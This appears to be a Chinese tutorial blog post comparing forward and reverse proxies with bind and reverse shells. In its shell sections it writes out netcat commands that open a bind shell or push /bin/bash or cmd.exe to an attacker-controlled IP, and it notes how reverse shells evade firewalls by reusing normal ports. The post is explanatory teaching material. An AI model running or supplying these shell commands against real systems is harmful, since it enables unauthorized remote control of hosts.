认识正向代理、反向代理、正向 Shell 和反弹 Shell

1. 正向代理 (Forward Proxy)

  正向代理是一种位于客户端和目标服务器之间的中介。客户端通过正向代理访问目标资源,代理服务器接收请求,再将请求转发到目标服务器,然后将返回结果传回客户端。

🌟 特点和作用

  • 隐藏客户端:客户端的真实 IP 会被代理掩盖,目标服务器只能看到代理服务器的 IP。
  • 访问控制:限制客户端访问某些资源,比如企业网络控制上网权限。
  • 内容缓存:代理服务器缓存静态资源,加快访问速度,减少网络流量。
  • 访问记录:回溯访问日志,如企业中某些敏感资源需要通过代理服务器(跳板机)进行访问

场景举例:员工通过正向代理访问互联网,公司可以记录并控制访问行为。

示意图

客户端 --> 正向代理 --> 目标服务器

2. 反向代理 (Reverse Proxy)

  反向代理位于客户端和内部服务器之间,客户端并不知道真正提供服务的服务器地址,而是直接向反向代理发起请求,代理服务器再将请求转发到内部服务器。 

🌟 特点和作用

  • 隐藏服务器:反向代理将后端服务器的真实 IP 地址隐藏。
  • 负载均衡:将访问请求分发到多个服务器,确保系统高效运行。
  • 安全防护:对请求进行过滤和认证,提升安全性。
  • 内容缓存:代理服务器缓存静态资源,降低请求延迟、服务器负载。
  • 路由功能:代理服务器针对不同的查询内容,将请求路由到不同的服务器。

场景举例:用户访问某大型网站时,访问的实际地址是统一的,但实际上是由多台服务器处理请求。🖥️🖥️🖥️

示意图

客户端 --> 反向代理 --> 内部服务器

3. 正向 Shell (Bind Shell)

  正向 Shell是一种远程控制技术,指目标设备在某个端口上打开监听,攻击者连接到这个端口获得 Shell 权限,从而控制目标设备。 

🌟 特点和作用

  • 目标设备主动监听端口,攻击者通过已知端口号进行连接。
  • 攻击者获得的是该监听端口上的 Shell 权限,可以执行系统命令。

场景举例: 当目标机器拥有公网 IP 或与攻击者位于同一网络中时比较适用。目标设备开启端口,等待攻击者远程连接到该端口控制目标系统。

局限性:如果目标机器位于防火墙后或使用 NAT,则难以建立连接,因为攻击者无法直接访问目标机器的端口。

示意图

攻击者 --> 连接目标主机的监听端口 --> 获取 Shell

🗨️Netcat 命令示例:

  • 目标机器 (受害者): 监听指定端口,等待连接。
nc -lvp <端口号> -e /bin/bash  # Linux
nc -lvp <端口号> -e cmd.exe     # Windows

-l: 监听模式。

-v: 详细输出,显示连接信息。

-p: 指定监听的端口号。

-e: 执行命令。连接建立后,目标机器会执行指定的 shell 程序 (/bin/bash 或 cmd.exe)。
  • 攻击者机器: 连接到目标机器的指定端口。
nc <目标机器IP地址> <端口号>

4. 反弹 Shell (Reverse Shell)

  反弹 Shell的原理与正向 Shell 相反。目标设备主动连接到攻击者的 IP 和端口,将 Shell 权限反弹到攻击者的设备上。 

🌟 特点和作用

  • 目标设备主动发起出站连接,绕过防火墙的入站限制。
  • 一旦连接成功,攻击者通过该反向连接控制目标设备。

场景举例:当目标机器位于防火墙后或使用 NAT 时,反向 shell 更合适,目标设备执行命令,连接攻击者 IP 和端口,将系统 Shell 权限反弹给攻击者。比如,攻击者利用目标主机存在的漏洞,如 Web 应用程序漏洞,在目标主机上执行命令,使其主动连接到攻击者控制的外部服务器,从而绕过目标主机的防火墙限制,实现对目标主机的控制。

示意图

目标主机 --> 连接攻击者监听的端口 --> 反弹 Shell

🗨️Netcat 命令示例:

攻击者机器: 监听指定端口,等待连接。

nc -lvp <端口号>

-l: 监听模式。

-v: 详细输出,显示连接信息。

-p: 指定监听的端口号。

目标机器 (受害者): 连接到攻击者机器的指定端口。

nc <攻击者机器IP地址> <端口号> -e /bin/bash  # Linux
nc <攻击者机器IP地址> <端口号> -e cmd.exe     # Windows

-e: 执行命令。连接建立后,目标机器会执行指定的 shell 程序 (/bin/bash 或 cmd.exe)。

5.正/反向Shell 对比

5.1📍连接发起方

  正向 shell:由攻击者主动发起连接到目标主机。攻击者需要事先知道目标主机的 IP 地址和开放的端口,然后使用相应的工具或命令去尝试连接目标主机,建立起一个命令行界面,从而在目标主机上执行命令,获取信息或进行其他操作。

  反向 shell:由目标主机主动向攻击者的机器发起连接。通常是攻击者通过一些手段,如利用漏洞在目标主机上执行特定的命令或植入恶意程序,使得目标主机主动连接到攻击者指定的 IP 地址和端口,从而为攻击者建立一个可以控制目标主机的 shell 环境。

5.2 📍连接方向

  正向 shell:连接方向是从攻击者指向目标主机,就像攻击者直接 “走进” 目标主机的系统一样,数据和命令的传输是从攻击者的机器流向目标主机。

  反向 shell:连接方向则相反,是从目标主机指向攻击者的机器,如同目标主机主动 “伸出援手” 连接到攻击者的环境,数据和命令的传输是从目标主机流向攻击者的机器。

5.3 📍权限要求

  正向 shell:通常要求攻击者具有较高的权限才能成功建立连接并执行操作。因为需要能够突破目标主机的安全防护,如防火墙的限制,直接访问目标主机的特定端口等。

  反向 shell:相对来说,对攻击者在目标主机上的初始权限要求较低。只要能够在目标主机上执行一段能够发起连接的代码或命令,就有可能建立反向 shell,之后再通过一些提权操作来获取更高的权限。

5.4 📍隐蔽性

  正向 shell:由于是攻击者主动发起连接,容易被目标主机的网络监控设备或安全防护软件检测到,尤其是当连接的源 IP 地址不属于目标主机所在的信任网络范围时,其隐蔽性较差。

  反向 shell:因为是目标主机主动向攻击者连接,在一些情况下,其连接行为可能更容易被伪装成正常的网络通信,相对更具隐蔽性。例如,攻击者可以将反向 shell 的连接端口设置为与目标主机正常对外通信的端口相同,从而降低被发现的风险。

5.5 📍稳定性

  正向 shell:稳定性相对较好,一旦连接建立成功,只要攻击者不主动中断连接,且网络环境保持稳定,连接通常可以持续保持,便于攻击者持续地对目标主机进行操作。

  反向 shell:其稳定性可能会受到多种因素的影响,如目标主机的网络配置变化、防火墙规则更新、网络波动等,都可能导致反向 shell 连接中断,需要攻击者重新建立连接。

对比总结

概念描述主体连接发起者常用场景
正向代理客户端访问服务器的中介代理客户端隐藏客户端、访问控制、内容缓存、访问记录
反向代理服务器资源访问的中介代理客户端隐藏服务器、负载均衡、安全保护、内容缓存、路由功能
正向 Shell目标设备监听端口,攻击者连接获得 Shell目标攻击者远程控制(需目标开放端口)
反弹 Shell目标设备连接攻击者,反弹 Shell 权限攻击者目标绕过防火墙出站连接限制

  理解这些概念的关键是关注主体角色(是代理还是 Shell 主机)、连接方向(谁发起连接),以及在实际应用场景中的安全限制。希望这篇文章帮助大家更清晰地理解正向代理、反向代理、正向 Shell 和反弹 Shell 的区别和应用场景!✨

转载:感谢您对路丁路个人博客网站平台的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人站长或者朋友圈,但转载请说明文章出处“来源路丁路”。https://ludinglu.com/jiaocheng/360.html
上一篇
下一篇